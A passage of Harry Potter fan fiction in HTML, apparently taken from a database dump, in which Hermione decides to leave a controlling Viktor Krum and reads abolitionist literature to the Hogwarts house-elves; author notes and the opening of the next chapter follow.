he&#8217;s only dating you because of you and not doing it as a way to get to me.&nbsp; I&#8217;m sorry that you&#8217;re in this predicament of wondering whether or not he really likes you.&nbsp; It&#8217;s all because of me.&nbsp; I hate worrying that Dark Wizards will try to get to you and Ron because you&#8217;re my best friends.&#8221;</p>\n\n<p>&#8220;Oh Harry, please stop,&#8221; she pleaded.</p>\n\n<p>&#8220;No, I feel responsible for you.&nbsp; Heck I can&#8217;t even have a normal crush on a girl like Cho because she&#8217;s afraid she&#8217;ll die if she even talks with me.&nbsp; After what happened to Cedric I can&#8217;t blame her.&#8221;</p>\n\n<p>&#8220;Stop that,&#8221; Hermione snapped at him.&nbsp; &#8220;How many times do I have to tell you?&nbsp; You are not responsible for Cedric&#8217;s death.&nbsp; The blame rests solely on Voldemort.&nbsp; And I would never trade our friendship in for anything in the world.&nbsp; I&#8217;ve never had two closer friends than you and Ron.&#8221;</p>\n\n<p>&#8220;How about your friends in the Muggle world?&nbsp; Do you still keep in touch with them?&#8221;</p>\n\n<p>&#8220;What friends?&#8221; she said bitterly.&nbsp; &#8220;I never really had any close school chums growing up.&nbsp; I think I intimidated people too much.&nbsp; There were some who wanted to copy my work, so they pretended to be my friend, but they really didn&#8217;t care for me,&#8221; then she paused.&nbsp; &#8220;How about you?&#8221;</p>\n\n<p>Harry shook his head.&nbsp; &#8220;No, me neither.&nbsp; My cousin Dudley made sure that I never had any friends.&nbsp; He bullied anyone that ever took a step in my direction.&nbsp; You and Ron are my first friends.&#8221; </p>\n\n<p>&#8220;Oh Harry, I&#8217;m sorry about that,&#8221; she said with her eyes watering again.&nbsp; &#8220;Look at us, a pair of misfits.&nbsp; Heck, I don&#8217;t even get on that well with Lavender and Parvati.&nbsp; All they&#8217;re interested in is fashion and boys.&nbsp; I&#8217;m so tired of hearing them discuss every boy in such vivid detail.&#8221;</p>\n\n<p>&#8220;Have they talked about me?&#8221;</p>\n\n<p>&#8220;<i>Everyone</i>.&nbsp; Believe me, you don&#8217;t want to know what&#8217;s going on in their heads.&#8221;</p>\n\n<p>&#8220;Well, I don&#8217;t think you&#8217;d want to hear what Ron says about all the girls in school when you&#8217;re not around.&#8221;</p>\n\n<p>&#8220;You&#8217;re right,&#8221; she nodded.&nbsp; &#8220;I wouldn&#8217;t want to hear that.&nbsp; I think I&#8217;d better get ready for dinner.&nbsp; Viktor&#8217;s coming to join us.&#8221;</p>\n\n<p>&#8220;He is?&#8221; Harry said startled.</p>\n\n<p>&#8220;Yes.&nbsp; I couldn&#8217;t very well tell him he couldn&#8217;t come.&nbsp; Professor Dumbledore made that big speech saying anyone from Durmstrang or Beauxbatons would be welcome back here anytime.&nbsp; He knows I didn&#8217;t go home for the holidays, otherwise he&#8217;d try to visit me there.&nbsp; So he&#8217;s coming here for dinner.&nbsp; I just don&#8217;t know how I feel about him,&#8221; she sighed.</p>\n\n<p>&#8220;You don&#8217;t have to decide that today,&#8221; Harry said patting her hand.</p>\n\n<p>&#8220;I was thinking of inviting him back here to the common room after dinner&#8230;&#8221;</p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <p>&#8220;Absolutely not!&#8221; Harry said alarmed.&nbsp; &#8220;He can&#8217;t come in here Hermione.&nbsp; What if he <i>is</i> a spy?&nbsp; He&#8217;d get the password and also information about Gryffindor tower.&nbsp; He would also be alone with you and could harm you just to get to me.&nbsp; It&#8217;s too dangerous.&#8221;</p>\n\n<p>She nodded and Harry wiped a tear off her cheek.&nbsp; &#8220;You could go for a walk around the lake with him and have Hagrid walk behind as a chaperone.&nbsp; I&#8217;ll watch from the tower with my Firebolt and wand at the ready.&#8221;</p>\n\n<p>&#8220;Oh Harry,&#8221; she threw her arms around him and gave him a quick kiss on the cheek.&nbsp; &#8220;You are my best friend.&nbsp; I don&#8217;t know what I&#8217;d ever do if I were to lose you.&#8221;</p>\n\n<p>Harry&#8217;s cheek felt really warm from where she&#8217;d kissed him.&nbsp; He looked at her puffy eyes and knew that it was because she cared for him deeply as a friend.&nbsp; A best friend.&nbsp; He knew that he should say something kind to make her feel better, but it came out a little less cheerful than he had hoped.</p>\n\n<p>&#8220;Well, I&#8217;ve made it this far,&#8221; he gave a wan smile.&nbsp; &#8220;I&#8217;m hoping just to last another school year if possible.&nbsp; That is with a little help from my friends.&nbsp; Come on, we don&#8217;t want to be late for dinner.&#8221;</p>\n\n<p>She nodded, &#8220;I need to change and fix my face a little.&nbsp; I&#8217;ll meet you downstairs in ten minutes.&nbsp; Thanks for the talk Harry.&#8221; </p>\n\n<p>&#8220;Anytime, Hermione.&nbsp; Anytime.&#8221;</p>\n\n<p>*</p>\n\n<p>Harry sat on the couch in the common room waiting for Hermione.&nbsp; He kept checking his watch and saw that twenty minutes had now passed.&nbsp; What was taking her so long, he wondered.&nbsp; Then he saw her walking down the staircase.&nbsp; She was wearing a floor length ruby red velvet dress with a sweetheart neckline.&nbsp; She had applied makeup that covered up the fact she had been crying.&nbsp; She had also swept her hair off her shoulders and tied it into a knot.&nbsp; Harry felt his throat go dry.</p>\n\n<p>Hermione slowly wet her red lips and looked at him.</p>\n\n<p>&#8220;Well, Harry?&#8221;</p>\n\n<p>He looked at her as if he had never seen her before.&nbsp; Her neckline accentuated her developing bosom and she looked incredibly mature.&nbsp; He had a hard time recognizing that the skinny little girl he had met so many years ago on the Hogwarts Express was now standing before him as a beautiful young woman.&nbsp; He looked at her and then finally remembered to blink.</p>\n\n<p>&#8220;Er, Hermione&#8230;you look beautiful,&#8221; he croaked.</p>\n\n<p>&#8220;Thank you,&#8221; she said giving him a warm smile.</p>\n\n<p>&#8220;Is that the dress Viktor bought for you?&#8221;</p>\n\n<p>She nodded.</p>\n\n<p>&#8220;It looks very nice on you.&#8221;</p>\n\n<p>Then he noticed that she wasn&#8217;t wearing her locket.&nbsp; Harry had gotten so used to seeing her wear it, that her neck now looked bare.</p>\n\n<p>&#8220;How come you&#8217;re not wearing&#8230;&#8221; he started.</p>\n\n<p>&#8220;I didn&#8217;t want to upset him,&#8221; she said averting his gaze.</p>\n\n<p>Harry started feeling very uncomfortable about bringing up a subject that obviously was a sensitive one with her.</p>\n\n<p>&#8220;Umm, why don&#8217;t I take a picture?&nbsp; Try out the new camera you gave me.&#8221;</p>\n\n<p>Harry then grabbed his camera and snapped a few pictures of her.</p>\n\n<p>&#8220;Why don&#8217;t we get one together?&#8221; she suggested.</p>\n\n<p>&#8220;But I don&#8217;t have a tripod.&#8221;</p>\n\n<p>&#8220;Harry, we can always just levitate the camera,&#8221; she said simply.</p>\n\n<p>Hermione took the camera and waved her wand over it giving a few spells and charms.&nbsp; Then she stood next to Harry and casually put her arm around his back.&nbsp; He followed suit and found himself glancing down at her neckline.&nbsp; He smiled and faced the camera just in time so he wouldn&#8217;t be caught on film gaping at her chest.</p>\n\n<p>As Harry stood there he felt for the first time an overwhelming urge to pull her in his arms and kiss her.&nbsp; He looked in her eyes and saw that she was barely holding it together.&nbsp; If he kissed her it was likely that she&#8217;d start sobbing all over again.&nbsp; That might cause him to lose her as a friend.&nbsp;&nbsp; He forced himself to resist the urge.&nbsp; Then he started wondering if he was really attracted to Hermione or if he was simply longing for female companionship.&nbsp; Maybe he was simply reacting to having his arm around her and that he was under the spell of her red dress.</p>\n\n<p>&#8220;Come on, Harry.&nbsp; We&#8217;re late.&#8221;</p>\n\n<p>Harry nodded and extended his arm to her.&nbsp; She took it and they walked silently to the Great Hall to join the others for dinner.&nbsp; He couldn&#8217;t help but think about how Hermione had changed in the last few months.&nbsp; This confident young woman seemed to be afraid of upsetting Krum and was now changing things about herself.&nbsp; Harry knew that wasn&#8217;t right.&nbsp; Hermione was a spirited young woman and shouldn&#8217;t have to worry about how anyone reacts to being true to herself.&nbsp; He was beginning to understand why Ron had been so vocal in his distrust towards Krum.</p>\n\n<p>Before they reached the front door of the Great Hall, Hermione dropped her hand from Harry&#8217;s arm.&nbsp; They walked in to find Viktor Krum engaged in an animated conversation with Dumbledore.&nbsp; When Krum looked up and saw Hermione, he immediately stopped talking and walked over to her.&nbsp; He took her right hand in his and he lifted it to his lips.&nbsp; Then he spun her around as if she were a doll and whirled her into his arms.&nbsp; Hermione looked distinctly embarrassed by this show.&nbsp; Harry turned away lest anyone see his face filling with anger.</p>\n\n<p>&#8220;Herm-own-ninny!&nbsp; You look bootiful in that dress.&nbsp; Merry Christmas,&#8221; Krum said as he produced a present for her.</p>\n\n<p>She unwrapped it and gasped.&nbsp; He had given her a pearl necklace and earrings.</p>\n\n<p>&#8220;Viktor!&nbsp; Are these real?&#8221;</p>\n\n<p>&#8220;Of course.&nbsp; Nothing but the best for you.&#8221;</p>\n\n<p>&#8220;I can&#8217;t accept this,&#8221; she said firmly handing the box back to him.&nbsp; &#8220;That&#8217;s too much.&#8221; </p>\n\n<p>&#8220;Nonsense.&nbsp; I vant you to haff this.&nbsp; You need a pearl necklace to go with your dress,&#8221; he insisted.</p>\n\n<p>He placed the necklace around her neck and fastened the clasp.&nbsp; His fingers lingered at the nape of her neck.</p>\n\n<p>&#8220;Yes, that looks much better.&nbsp; Here put on the earrings.&#8221;</p>\n\n<p>She complied and Harry looked around to see that Hagrid, Snape, McGonagall and Dumbledore were all looking suspiciously at Krum.&nbsp; Hermione blushed when she realized that everyone was staring at her.</p>\n\n<p>&#8220;I&#8217;m sorry we were late.&nbsp; Happy Christmas everyone,&#8221; she said apologetically.</p>\n\n<p>*</p>\n\n<p>After the Christmas dinner was over, the professors and the few other students who had stayed over the holidays excused themselves one by one.&nbsp; Hagrid was soon the only one left besides Harry, Hermione and Krum in the Great Hall.&nbsp; Harry had been expecting Hermione to go for a walk outside, but as the time dragged on it looked like she had decided against that.&nbsp; Instead she sat with Krum on the couch before a fireplace and was reading to him from a leather bound book that she had given him on famous British poets. </p>\n\n<p>Harry and Hagrid sat across the room from the couple.&nbsp; They could still listen to her voice as she read.&nbsp; It was enchanting.&nbsp; For the first time he understood why some of the poets that she had admired were worthy of her praise.&nbsp; Harry was trying to pass the time with Hagrid, but he really just wanted to take Hermione by the hand and leave Krum behind. </p>\n\n<p>&#8220;Harry, yer not payin&#8217; attention to what yer doin&#8217;,&#8221; complained Hagrid.&nbsp; &#8220;We&#8217;re supposed to be carvin&#8217; flutes.&nbsp; That&#8217;s another long pointy stick ya&#8217; made.&#8221;</p>\n\n<p>Harry looked down and realized that once again he had simply taken his knife and been absentmindedly cutting the wood until it resembled a very sharp wooden stake.</p>\n\n<p>&#8220;Maybe you can use these to hunt vampires with,&#8221; he said as he focused his eyes on Krum and Hermione.</p>\n\n<p>&#8220;Here&#8217;s one by William Wordsworth, I think you&#8217;ll like.&nbsp; It&#8217;s called &#8216;Character of the Happy Warrior,&#8221; Hermione said to Krum. </p>\n\n<p>&nbsp;</p>\n\n<i>&#8220;Who is the happy Warrior?&nbsp; Who is he</i><br>\n\n\n<i>That every man in arms should wish to be?</i><br>\n\n\n<i>--It is the generous Spirit, who, when brought</i><br>\n\n\n<i>Among the tasks of real life, hath wrought</i><br>\n\n\n<i>Upon the plan that pleased his boyish thought:</i><br>\n\n\n<i>Whose high endeavours are an inward light</i><br>\n\n\n<i>That makes the path before him always bright:</i><br>\n\n\n<i>Who, with a natural instinct to discern</i><br>\n\n\n<i>What knowledge can perform, is diligent to learn;</i><br>\n\n\n<i>Abides by this resolve, and stops not there,</i><br>\n\n\n<i>But makes his moral being his prime care;</i><br>\n\n\n<i>Who, doomed to go in company with Pain,</i><br>\n\n\n<i>And Fear, and Bloodshed, miserable train!</i><br>\n\n\n<i>Turns his necessity to glorious gain;</i><br>\n\n\n<i>In face of these doth exercise a power</i><br>\n\n\n<i>Which is our human nature&#8217;s highest dower&#8221;</i><br>\n\n\n<p>&#8220;Hey Harry, that poem sounds like it describes you,&#8221; said Hagrid.</p>\n\n<p>Harry nodded and then noticed that Krum had moved closer to Hermione on the couch.&nbsp; He now had one arm around her and was massaging a shoulder with one hand and his other hand was caressing her knees.&nbsp; Harry felt the blood rising inside of him.&nbsp; He now would have another image to help him to focus on for his Animagus training.&nbsp; </p>\n\n<p>Krum turned his head and looked directly at Harry.&nbsp; Krum had a smug look on his face, while Harry tried to keep his face expressionless.&nbsp; He knew that Krum must have known that he was upset at the roaming hands on Hermione.&nbsp; For some reason, she hadn&#8217;t said or done anything to show that his advances were unwelcome.&nbsp; And yet, as he looked at her profile, she looked very uncomfortable and was becoming increasingly agitated.</p>\n\n<p>&#8220;Watch what yer doin&#8217; Harry.&nbsp; Ya&#8217; almos&#8217; took yer thumb off,&#8221; said Hagrid.</p>\n\n<p>Harry looked down and saw that he had taken a very big slice off the end of his latest piece of wood and that it had been dangerously close to his left thumb.</p>\n\n<p>&#8220;Mebbe we should stop the whittlin&#8217; tonight,&#8221; Hagrid suggested.</p>\n\n<p>Harry nodded as he put down the knife and his now very sharp piece of wood.</p>\n\n<p>&#8220;Keep it clean, over there!&nbsp; Watch where yer hands are goin&#8217;,&#8221; growled Hagrid at Krum.</p>\n\n<p>Harry shot Hagrid an appreciative look.</p>\n\n<p>&#8220;It&#8217;s getting late Viktor.&nbsp; I think I should turn in,&#8221; Hermione said while giving a wide yawn.</p>\n\n<p>&#8220;Yes, vell.&nbsp; It is late and I do have to several Apparation trips to make,&#8221; he said as she walked him to the door.</p>\n\n<p>&#8220;Good-bye Viktor, Happy Christmas,&#8221; Hermione said.</p>\n\n<p>Krum reached into his pocket and pulled out some mistletoe and held it over his head.&nbsp; Hermione blushed scarlet and reached up to kiss him on the cheek.&nbsp; He pulled her to his chest and kissed her so forcefully that it caused her to bend backwards.</p>\n\n<p>&#8220;I&#8217;ll send you an owl &#8216;ven I get home,&#8221; Krum said as he left.</p>\n\n<p>Hermione nodded.&nbsp; As she turned back to the room, she carefully avoided looking at Harry.</p>\n\n<p>&#8220;Ready to go back?&#8221; Harry asked.</p>\n\n<p>She nodded and they walked to Gryffindor Tower in silence.&nbsp; After entering the common room, Harry turned to her.</p>\n\n<p>&#8220;Hermione, would you like to talk?&#8221;</p>\n\n<p>&#8220;Not now, Harry,&#8221; she said her voice thick with emotion.&nbsp; &#8220;I just need to go to bed.&nbsp; I have a lot of things that I need to sort through by myself.&nbsp; I&#8217;ll see you in the morning.&#8221;</p>\n\n<p>He watched her walk up the stairway to the girls&#8217; dormitory.&nbsp; Her posture had changed dramatically in a few hours time.&nbsp; Now her head was downcast and her shoulders rounded.&nbsp; Harry was now in total agreement with Ron.&nbsp; It was wrong for her to be dating Krum.&nbsp; <i>It was just plain wrong.</i></p>\n\n<p>*</p>\n\n<p>The next day Hermione was very moody.&nbsp; She hardly said two words over breakfast and announced that she was exhausted and needed a nap immediately after they returned to Gryffindor Tower.&nbsp; At lunchtime, Harry wound up knocking on the girls&#8217; dormitory door and Hermione answered back that she wanted to sleep through lunch.&nbsp; </p>\n\n<p>Harry saw Dumbledore and asked him privately about any news from Little Whinging.</p>\n\n<p>&#8220;Yes, everyone is fine,&#8221; Dumbledore assured him.&nbsp; &#8220;There were a few monitors and enchantments that were destroyed and one Kneazle was killed, but everything will be repaired shortly.&nbsp; Professor Figg will fill you in on all the details when she returns.&#8221; </p>\n\n<p>By dinnertime, Harry had begun to get very worried about Hermione.&nbsp; She had been sleeping all day long.&nbsp; He was determined that after dinner he was going to talk with her about how dating Krum had changed her.&nbsp; And how it was not for the better.</p>\n\n<p>After another silent meal, Hermione was getting ready to excuse herself when Harry asked her something that had been bothering him for months.</p>\n\n<p>&#8220;Hermione, where do you go after dinner?&nbsp; You&#8217;ve been doing this for months now.&nbsp; What are you up to?&#8221;</p>\n\n<p>She looked him in the eyes as if she were searching his very soul.</p>\n\n<p>&#8220;Do you promise you won&#8217;t laugh at me?&#8221; she pleaded.</p>\n\n<p>&#8220;I promise,&#8221; he said sounding wounded.</p>\n\n<p>&#8220;All right, I&#8217;ll show you.&nbsp; Come with me.&#8221;</p>\n\n<p>Hermione took him by the hand and led him once again through the secret door to the kitchens.&nbsp; As soon as they entered the house-elves stopped what they were doing and gathered around the two students.</p>\n\n<p>&#8220;Miss Hermione, we&#8217;ve missed you.&#8221;</p>\n\n<p>&#8220;Tell us, what happens next.&#8221;</p>\n\n<p>&#8220;We can&#8217;t wait!&#8221;</p>\n\n<p>&#8220;What&#8217;s happening with Little Eva and Miss Ophelia?&#8221; </p>\n\n<p>&#8220;Hermione, what are they talking about?&#8221; asked Harry.</p>\n\n<p>She gave him a smile and pulled out a paperback book from her robe pocket.</p>\n\n<p>&#8220;I&#8217;ve been reading to them.&nbsp; Every day.&nbsp; They&#8217;re hooked on a story.&#8221;</p>\n\n<p>&#8220;What one is that?&#8221; he asked curiously.</p>\n\n<p>Then Hermione started to giggle.&nbsp; Harry hadn&#8217;t seen her laugh in days and he realized how much he had missed that.</p>\n\n<p>&#8220;I&#8217;m reading them &#8216;Uncle Tom&#8217;s Cabin,&#8217;&#8221; she said proudly.&nbsp; &#8220;If it was important enough to help spark the Civil War in the United States, it certainly could do wonders for our house-elves.&nbsp; <i>I am determined to foment a rebellion</i>.&#8221;</p>\n\n<p>Her eyes were flashing as she said that.&nbsp; Harry looked at the determination in her face and didn&#8217;t feel like laughing at all.&nbsp; Instead his jaw dropped.&nbsp; All that talk of goblin rebellions had taken root in Hermione and now she was determined that she was going to lead the house-elves in a similar political movement.&nbsp; This was a far cry from making badges and trying to enlist students to join a club.&nbsp; She was actually trying to incite a revolution.</p>\n\n<p>Hermione made herself comfortable on a stool and opened the book and started reading.&nbsp; The house-elves had all stopped their work and were sitting around on chairs, stools and on the floor in front of her in rapt attention.&nbsp; Dobby had come up to Harry and offered him a cup of tea and some cake before he, too sat down to listen to Hermione read the latest installment.</p>\n\n<p>&#8220;<i>It&#8217;s all nonsense to talk to me about slaves enjoying all this!&nbsp; To this day, I have no patience with the unutterable trash that some of your patronizing Northerners have made up, as in their zeal to apologize for our sins.&nbsp; We all know better.&nbsp; Tell me that any man living wants to work all his days, from day-dawn till dark, under the constant eye of a master, without the power of putting forth one irresponsible volition, on the same</i>\n\n<i>dreary, monotonous, unchanging toil, and all for two pairs of pantaloons and a pair of shoes a year, with enough food and shelter to keep him in working order!&nbsp; Any man who thinks that human beings can, as a general thing, be made about as comfortable that way as any other, I wish he might try it.&nbsp; I&#8217;d buy the dog, and work him, with a clear conscience!&#8221;</i></p>\n\n<p>&#8220;Ooooh,&#8221; squeaked one of the house-elves sitting near Harry.</p>\n\n<p>When Hermione finished the chapter, her audience applauded and came up to thank her profusely.&nbsp; She demurred and promised to come the next day after dinner and read the next installment.&nbsp; </p>\n\n<p>&#8220;In talking with them, I found out that they have different chants to deal with miserable masters.&nbsp; It&#8217;s in a language that humans don&#8217;t understand, so they could use it openly.&nbsp; I&#8217;ve been convincing them to share all those songs and chants with one another.&nbsp; To compare <i>notes</i>, so to speak,&#8221; she said grinning.</p>\n\n<p>The house-elves had returned to cleaning the dinner dishes and began chanting a song that sounded very hypnotic.&nbsp; Harry couldn&#8217;t help but stare in amazement at the change in the attitudes of the house-elves in a matter of a few months of Hermione&#8217;s tutelage.</p>\n\n<p>&#8220;Harry Potter!&nbsp; Dobby is happy to see you again,&#8221; said the house-elf as he squeezed Harry about the waist.&nbsp; &#8220;Dobby didn&#8217;t say hello earlier, because I was not wanting to interrupt Miss Hermione&#8217;s reading.&nbsp; Did Harry Potter have a good Christmas?&#8221;</p>\n\n<p>&#8220;Umm, well, <i>it was okay</i>,&#8221; he said giving a smile to Hermione.</p>\n\n<p>&#8220;Dobby is grateful for the socks you gave.&nbsp; Harry Potter is very generous!&#8221;</p>\n\n<p>&#8220;You&#8217;re welcome,&#8221; Harry said feeling slightly embarrassed.&nbsp; &#8220;And um, thanks for your gift.&#8221;</p>\n\n<p>Soon Hermione and Harry were leaving the kitchens with several &#233;clairs and pastries that were forced into their hands by Dobby and others.&nbsp; Harry looked at Hermione and saw a dramatic change in her countenance.&nbsp; She no longer looked depressed, but instead looked determined.</p>\n\n<p>&#8220;What made you think of reading that book to them?&#8221; asked Harry.</p>\n\n<p>&#8220;This summer when I started talking with Winky I realized that I couldn&#8217;t just work for the liberation of house-elves without their consent.&nbsp; You see, it&#8217;s sort of like animals bred in captivity.&nbsp; You cannot just release them into the wild.&nbsp; House-elves have been taught since birth to accept their oppression.&nbsp; This has been their legacy for generations.&nbsp; It was wrong of me to just try and end the enslavement of house-elves without first introducing them to liberation ideology.&nbsp; They have to first recognize that they are enslaved and understand the fundamental injustice of it, before they can yearn for freedom.&#8221;</p>\n\n<p>&#8220;So how did you get them to start listening to you?&#8221;</p>\n\n<p>&#8220;Well, first I had to convince them that it was okay for them to take a break from work.&nbsp; That took a little bit of persuasion.&nbsp; I convinced them that Dumbledore approves of them taking breaks and also that I come to visit them regularly.&nbsp; To get them used to listening to me read, I started out with a story I thought they&#8217;d like.&nbsp; They soon all stopped work to listen when they started hearing the tale.&#8221;</p>\n\n<p>&#8220;What was that?&#8221; Harry asked.</p>\n\n<p>&#8220;Rumplestiltskin,&#8221; she said proudly.</p>\n\n<p>&#8220;Huh?&#8221;</p>\n\n<p>&#8220;Rumplestiltskin.&nbsp; The old fairy tale of a funny little man that helped the miller&#8217;s daughter.&nbsp; Except when I read it to them and showed them an illustrated children&#8217;s book, I told them it was the story of a freed house-elf.&nbsp; They did not treat it as if it were a simple fairy tale.&nbsp; They actually treated it as if it were historical fact.&#8221;</p>\n\n<p>&#8220;Really?&#8221; he said surprised.</p>\n\n<p>&#8220;Really.&nbsp; And what amazed me is that they did not seem surprised at all with the idea of spinning straw into gold.&nbsp; Which makes me pause a little to wonder if that is part of the house-elf magic we&#8217;ve heard so much about.&nbsp; They really are fascinating creatures.&nbsp; They have this whole house-elf culture that I don&#8217;t think most wizards know anything about.&nbsp; They meet in secret at night and swap stories about how best to deal with oppressive and violent masters.&nbsp; They actually have an underground that has in the past only been used to help them learn how to love being submissive.&nbsp; They actually refer to it as &#8216;liberation through submission,&#8217;&#8221; Hermione shuddered.&nbsp; &#8220;This was believed to help them from being violently mistreated.&nbsp; Now, I think we can get Dobby and some of the other Hogwarts elves to change the message in the underground to one of &#8216;liberation through revolution.&#8217;&#8221;</p>\n\n<p>&#8220;Dobby as a revolutionary?&#8221; Harry said sounding surprised.</p>\n\n<p>&#8220;Don&#8217;t laugh.&nbsp; He has really warmed to being in a leadership role.&nbsp; Anyway, after I read Rumplestiltskin to them, I read some poetry to them.&nbsp; The book I gave Viktor, I first tried out on them.&nbsp; Then after they got used to me coming every day, I started reading this book.&nbsp; When I finish this, I&#8217;ve got some speeches and writings by William Lloyd Garrison, Frederick Douglass, and Sojourner Truth as well as some poems by Langston Hughes.&nbsp; Later, when I think they&#8217;re ready, I&#8217;ll start giving them history lessons regarding goblin rebellions.&#8221;&nbsp; </p>\n\n<p>&#8220;What does Dumbledore think about all of this?&#8221;</p>\n\n<p>&#8220;He&#8217;s been <i>very</i> supportive.&nbsp; He&#8217;d like to treat them all as free elves.&nbsp; He&#8217;s willing to pay them all wages and treat them as regular employees.&nbsp; That is when they are mentally ready to accept their change in status.&nbsp; He also thinks that our house-elves could lead a house-elf rebellion that could lead to their liberation.&nbsp; He thinks they could be as independent and powerful as the goblins.&nbsp; Heck, if Dobby could overpower Lucius Malfoy, then it just demonstrates that they have magical powers that wizards need to reckon with.&nbsp; I want to help enlist them in our war against the forces of evil.&#8221;</p>\n\n<p>&#8220;You haven&#8217;t told Viktor about this?&#8221;</p>\n\n<p>&#8220;Nooo, this is top secret.&nbsp; Only Dumbledore and now you know about this,&#8221; said Hermione. </p>\n\n<p>&#8220;You&#8217;re pretty amazing.&nbsp; You know that don&#8217;t you?&#8221; Harry said smiling at her.</p>\n\n<p>&#8220;Thanks,&#8221; she said sounding relieved, &#8220;it&#8217;s good to know that <i>someone</i> appreciates me.&#8221;</p>\n\n<p>After they entered the Gryffindor common room, Hermione was just about to head for the staircases to the dormitories when Harry stopped her.</p>\n\n<p>&#8220;Hermione, don&#8217;t go upstairs just yet.&nbsp; I need to talk to you about something.&#8221;</p>\n\n<p>&#8220;What is it?&#8221;</p>\n\n<p>&#8220;Why don&#8217;t we sit down first?&#8221;</p>\n\n<p>They sat down on opposite ends of the couch and Harry took a deep breath.</p>\n\n<p>&#8220;Hermione, this is difficult for me to say, so please hear me out,&#8221; he began.</p>\n\n<p>She nodded.</p>\n\n<p>&#8220;I have to tell you that as a friend, I don&#8217;t like seeing you with Viktor.&nbsp; You&#8217;ve changed since you started dating him.&nbsp; I can see you&#8217;re not happy.&nbsp; You&#8217;ve lost some of your self-confidence.&nbsp; Hermione, tonight I saw the <i>real you</i>.&nbsp; If you can&#8217;t share that with someone you&#8217;re dating&#8230;then they don&#8217;t know who you really are.&nbsp; And from the little that I&#8217;ve seen between you and Viktor, I&#8217;m not sure he cares who you are at all.&nbsp; You seem to be a doll that he wants to dress up and show off.&nbsp; He has no idea of the brilliant and compassionate person you really are.&#8221;&nbsp; </p>\n\n<p>Hermione looked long and hard at Harry and then spoke, &#8220;You&#8217;re right.&nbsp; I&#8217;ve been thinking about that all last night and all today.&nbsp; It&#8217;s all I could think about.&nbsp; Viktor was very kind and sweet when we first started dating.&nbsp; But lately, he&#8217;s become jealous, manipulative and controlling.&nbsp; It&#8217;s a terrible combination.&nbsp; He&#8217;s wanted me to send him an owl every day.&nbsp; Which is silly, because it takes an owl at least three days to get to Bulgaria.&nbsp; So I can&#8217;t get a reply from him for about a week.&nbsp; Yet he wants me to write to him daily and tell him everything.&nbsp; It&#8217;s his way to try and control me.&nbsp; That necklace yesterday was really the last straw.&#8221;</p>\n\n<p>&#8220;Why is that?&#8221;</p>\n\n<p>&#8220;Because it is very expensive.&nbsp; There are strings attached to that type of gift.&nbsp; Intangible ones.&nbsp; And he disregarded my feelings on the matter and made me accept it in front of everyone.&nbsp; Then when he&#8230;&#8221; she began to look uncomfortable.</p>\n\n<p>&#8220;I wanted to beat him up,&#8221; growled Harry.&nbsp; &#8220;Only I didn&#8217;t know what you wanted me to do.&#8221;</p>\n\n<p>&#8220;You were right about not inviting him back here.&nbsp; I don&#8217;t want to imagine what he might have tried to do without Hagrid around,&#8221; she shuddered. </p>\n\n<p>&#8220;What are you going to do now?&#8221; Harry asked.</p>\n\n<p>&#8220;I&#8217;m going to break up with him,&#8221; she said resolutely.&nbsp; &#8220;The only problem is when and how.&nbsp; I don&#8217;t think it would be fair to him to do it by owl post.&nbsp; I think he deserves to be told in person.&nbsp; So in the meantime, I&#8217;ll have to pretend like everything is okay when I send him letters.&nbsp; Only now I&#8217;ll give the school owls a break and only send him a letter once a week at the most.&#8221;</p>\n\n<p>&#8220;I guess that means you&#8217;ll have to wait until the next Hogsmeade weekend.&#8221;</p>\n\n<p>&#8220;Yeah.&nbsp; That&#8217;ll <i>really</i> be something to look forward to,&#8221; she said with a rueful smile.</p>\n\n<p>&#8220;If you want my help in any way, please let me know.&#8221;</p>\n\n<p>&#8220;Thanks Harry, I may need you there.&nbsp; At least standing nearby under your Invisibility Cloak.&nbsp; I&#8217;m not sure how he&#8217;ll take the news.&#8221;</p>\n\n<p>&#8220;I&#8217;ll be there,&#8221; he said firmly.</p>\n\n<p>*</p>\n\n<p>End notes: I would like to thank those who have reviewed my last chapter: Batgirl1801, darkstar, katrina, kinicky 21, NAPPA, and SamanthaMarie. I\'m glad that so many of you liked how I showed that the Weasley family was not all &quot;sweetness and light.&quot; To me, it has got to be a complicated family dynamic with so many members in it. In answer to some questions: Katrina, Penny was crying because she was very upset about seeing her future husband fighting with her future in-laws. Heck, I\'d be upset, too! And although it was only hinted at, you can best be sure that Molly was making her own thoughts about how the wedding should proceed as more than mere friendly suggestions. After all, it will be the first of her children to get married so she\'ll have lots of opinions regarding the wedding. Batgirl1801, don\'t worry - you will see more Neville. His memory problem is one of the Dark Secrets that I will be revealing. NAPPA isn\'t too thrilled with the prospect of Ron being a Seer. Hmmm, I think that gift is supported by canon by the way and uh, did you divine the meaning of all the readings he gave? They are cryptic, but very important in recognizing what will happen in later chapters. Darkstar, the ambiguity of the Azkaban breakin is something that will come to bear later in the story. You are right to wonder why Fudge is reacting the way that he did. \'Tis shady indeed. You are also jumping to conclusions as to what happened with the attack on the Zone. This will be explained in detail in Chapter 10, but Arabella did say that the Lestranges were trying to &quot;penetrate the Zone.&quot; That does not mean that they were able to get inside the perimeter or find Number Four Privet Drive. Your instincts are right in that there was no attack on Harry\'s house, but rather a probing of the defences surrounding it. After this chapter, I must issue a warning because the rest of the story is filled with Big Bangs and Cliff Hangers. Beware.</p> '),
	(260, 10, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author notes: Thanks to Cara Hicks and Ama for beta reading. This chapter marks a turning point in my story as all the pieces start to fall into place and it does make for Big Dramatic Bangs.&nbsp; One after another after another.&nbsp; For those who are big Quidditch fans, I apologize the second game isn\'t very detailed, but I promise that the third Quidditch match will be more exciting. I was concerned more with the overall narrative flow of this chapter and was afraid too much of a detour with Quidditch would be disruptive.&nbsp; This leads me to my <b>Warning:</b>\n\n<b>this chapter reads like a roller coaster.&nbsp;&nbsp; </b>And because this chapter ends at a very cruel cliffhanger, I am uploading Chapter Eleven at the same time.&nbsp; I just couldn&#8217;t leave my readers at that ending.&nbsp; </p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Ten&nbsp; - Roller Coaster of Emotions</p>\n\n<p>Hermione&#8217;s attitude greatly improved once she decided to break up with Viktor Krum.&nbsp; She asked Harry not mention it to anyone. &nbsp;She didn&#8217;t want to risk having rumours start and have 